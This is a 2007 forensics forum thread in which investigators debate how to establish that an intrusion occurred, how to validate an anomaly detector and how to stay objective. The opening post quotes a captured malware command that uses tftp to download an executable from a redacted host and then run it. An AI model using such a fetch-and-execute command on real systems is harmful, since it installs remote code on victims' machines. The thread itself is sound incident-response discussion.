±Forensic Focus Partners

Become an advertising partner

±Your Account


Username
Password

Forgotten password/username?

Site Members:

New Today: 0 Overall: 36296
New Yesterday: 0 Visitors: 103

±Follow Forensic Focus

Forensic Focus Facebook PageForensic Focus on TwitterForensic Focus LinkedIn GroupForensic Focus YouTube Channel

RSS feeds: News Forums Articles

±Latest Articles

±Latest Videos

±Latest Jobs

corpus delecti

Computer forensics discussion. Please ensure that your post is not better suited to one of the forums below (if it is, please post it there instead!)
Reply to topicReply to topic Printer Friendly Page
Forum FAQSearchView unanswered posts
Page 1, 2  Next 
  

hogfly
Senior Member
 

corpus delecti

Post Posted: Mar 06, 07 00:46

One of the questions I'm more frequently asked when investigating an intrusion is "how did this happen?", quickly followed by "why?". In reflecting on this question I refer back to some criminal justice terms such as Actus Reus and Corpus Delecti. How do we determine that we are in fact looking at an incident and how do we know that the particular system we are looking at is a victim?

Example:
A malware outbreak is brought to your attention through various automated processes. two systems are identified, rapidly followed by 11 others. A decision is made to promptly contain these systems in order to prevent further spreading. You as the incident responder are called to investigate.
The automated process captured the following information:
tftp -i xxx.xxx.xxx.xxx get rtvcscan.exe& start rtvcscan.exe& exit tftp -i xxx.xxxX
Microsoft Windows 2000 [Version 5.00.2195]Microsoft Windows 2000 [Version 5.00.2.


Continuing on from a previous thread, I'm still working on applying the scientific method to incident response..so my latest questions are:

How do you validate the automated process?
How do you determine that an incident has occured?
How do you arrive at the answer?
What's the basis of your thought process?  
 
  

skip
Senior Member
 

Re: corpus delecti

Post Posted: Mar 07, 07 20:01

- hogfly
One of the questions I'm more frequently asked when investigating an intrusion is "how did this happen?", quickly followed by "why?". In reflecting on this question I refer back to some criminal

...snip...

How do you validate the automated process?
How do you determine that an incident has occured?
How do you arrive at the answer?
What's the basis of your thought process?


I'll take a crack at it...

TestForIncident;
If the automated process is on an infected machine stop.
If the automated process is signature based then
.....create another file with the same name (not malicious) and send it and the start instruction across the network
.....check the automated process for logging results
..........if the automated process (signature based) did not log your test then
...................the origional log is based on packet/payload content
.....else stop
else review the captured network traffic around the event for other factors like source IP AND infected system responce to source IP or other external IP

return responce from infected system.

main{
if TestForIncident == 0 then
....non-incident
else
start forensic process/attack post-mortum/or system rebuild and backup restore and system hardening including software update.

skip...  
 
  

keydet89
Senior Member
 

Re: corpus delecti

Post Posted: Mar 07, 07 20:22

First off, I think that there will be some issues bringing these legal terms into what amounts to a live response process...live response is simply too new a concept for most people to really get their heads around, and bringing the legal terms into play at this point will simply confuse the issue.

Okay, looking to your questions:
> How do you validate the automated process?

Well, it depends on what that "automated process" is...is it a network-based IDS or a HIPS?

> How do you determine that an incident has occured?

You investigate. Your scenario doesn't have enough information on which to base a sound decision, so investigation is required.

> How do you arrive at the answer?

Through the experience and knowledge of understanding things like networking, client-server architectures, and having investigated a number of incidents.

> What's the basis of your thought process?

Again, experience. Unfortunately, the questions that need to be answered are encyclopedic.

H  
 
  

user24
Member
 

Re: corpus delecti

Post Posted: Mar 07, 07 20:45

- skip

I'll take a crack at it...

TestForIncident;
If the automated process is on an infected machine stop.
If the automated process is signature based then
.....create another file with the same name (not malicious) and send it and the start instruction across the network
.....check the automated process for logging results
..........if the automated process (signature based) did not log your test then
...................the origional log is based on packet/payload content
.....else stop
else review the captured network traffic around the event for other factors like source IP AND infected system responce to source IP or other external IP

return responce from infected system.

main{
if TestForIncident == 0 then
....non-incident
else
start forensic process/attack post-mortum/or system rebuild and backup restore and system hardening including software update.

skip...


I tried that but there were a few compile errors; can you send me the binaries?  
 
  

deckard
Senior Member
 

Re: corpus delecti

Post Posted: Mar 07, 07 21:26

Harlan

<live response is simply too new a concept for most people to really get their heads around,>

I agree LR is too new, but we gotta work it out. I tried just now to explain LR versus CF in a blog entry. I'm not sure I did a good job but it should be something some people can understand.

As far as the legal part, until we give the lawyers a chance to use LR in court it can never get to accepted as good evidence. If we don;t believe in it enough to "sell" it, our clients will never believe either

Bill
_________________
Replicants are like any other machine - they're either a benefit or a hazard. If they're a benefit, it's not my problem 
 
  

hogfly
Senior Member
 

Re: corpus delecti

Post Posted: Mar 08, 07 01:20

Harlan,

I tend to disagree. Live response has been done for many years. It just hasn't been done in this manner.
While it may be new to a lot of people, and it may be seen as dangerous to those people but what if doing this very thing is what helps get live response accepted? At some point we need to accept the fact that technical terms won't be understood for some time to come, but legal ones have a good chance.
As you've pointed out many times, it doesn't seem to be being done by anyone or many people for that matter. I'm beginning to draw parallels between real world and digital investigations. I've started blogging(shameless plug...) about it as a result of this paper I'm working on. Who knows if it'll lead anywhere, but I'm finding it pretty interesting so far.

>Well, it depends on what that "automated process" is...is it a >network-based IDS or a HIPS?

The automated process in this instance is an anomaly detection appliance that only collects what it deems anomalous and only a small snaplen(64 bytes max).

>You investigate. Your scenario doesn't have enough information on which >to base a sound decision, so investigation is required.

Yes of course, but how, given that this is the only source of information at the time? This is what NIST refers to as an indicator of an incident.

Assume for now that you have the following available as you begin to investigate: Symantec Antivirus CE server, Cisco Netflow data. The systems have also been quarantined so containment has already been initiated.

>Through the experience and knowledge of understanding things like >networking, client-server architectures, and having investigated a number >of incidents.

So is it fair to say that your experiences have given you enough knowledge such that you can formulate your hypothesis based on previous incidents? i.e, you can predict with a reasonable amount of certainty what you're dealing with based on experience?

How do you keep from getting tunnel vision as a result of this?

>Again, experience. Unfortunately, the questions that need to be answered >are encyclopedic.



What I'm really after here is the thought process used by investigators rather than the technical process. Where do preconceived notions come from, how does one keep themselves objective, how do you test your theories and hypotheses etc..


Skip,
Rarely are things so clear cut and dry as pseudocode Smile but that has a simplicity to it that's admirable.  
 
  

keydet89
Senior Member
 

Re: corpus delecti

Post Posted: Mar 08, 07 03:07

> The automated process in this instance is an anomaly detection appliance

The first thing I would do is attempt to determine the nature of the anomaly. As I have no additional information from the ADA (ie, source/dest ports, protocol used, etc.) as to the nature of the anomaly, I would have to investigate the system that this traffic is headed to. For instance, is the target system running the IIS web server?

As I've said, there's just too much unknown at this point...the ADA doesn't offer a great deal of information, evidently.

> Yes of course, but how, given that this is the only source of information
> at the time? This is what NIST refers to as an indicator of an incident.

The first thing I'd do is assess the target system. As the ADA has provided no information whatsoever to indicate the port that the traffic was sent to, etc., I'd start by looking at the attack surface of the system. As this is traffic that appears to be originating from the Internet and targeting the system, we know that this may involve some kind of remote attack. I'd want to see what applications and versions are running on the system, as well as the current active network connections and processes, and any port-to-process mapping information.

However, it appears that containment has already been initiated...can we safely assume that no one collected any of the above volatile data prior to initiating containment? Even if the systems are still live, if they've been disconnected from the network, we may have already lost valuable information.

> How do you keep from getting tunnel vision as a result of this?

My experiences don't restrict my view...rather, due to the things I've seen and experienced, I can cast my net even wider.

> Where do preconceived notions come from, how does one keep
> themselves objective, how do you test your theories and hypotheses
> etc..

Again, from experience. I have seen that preconceived notions most often come from a lack of knowledge or experience. Many times, if a malware process doesn't immediately jump out and bite the investigator, the system is assumed to either be clean, or it's infected with a rootkit. Based on my experience, I look for any evidence at all, and do not go into an investigation with pre-conceived notions.  
 

Page 1 of 2
Page 1, 2  Next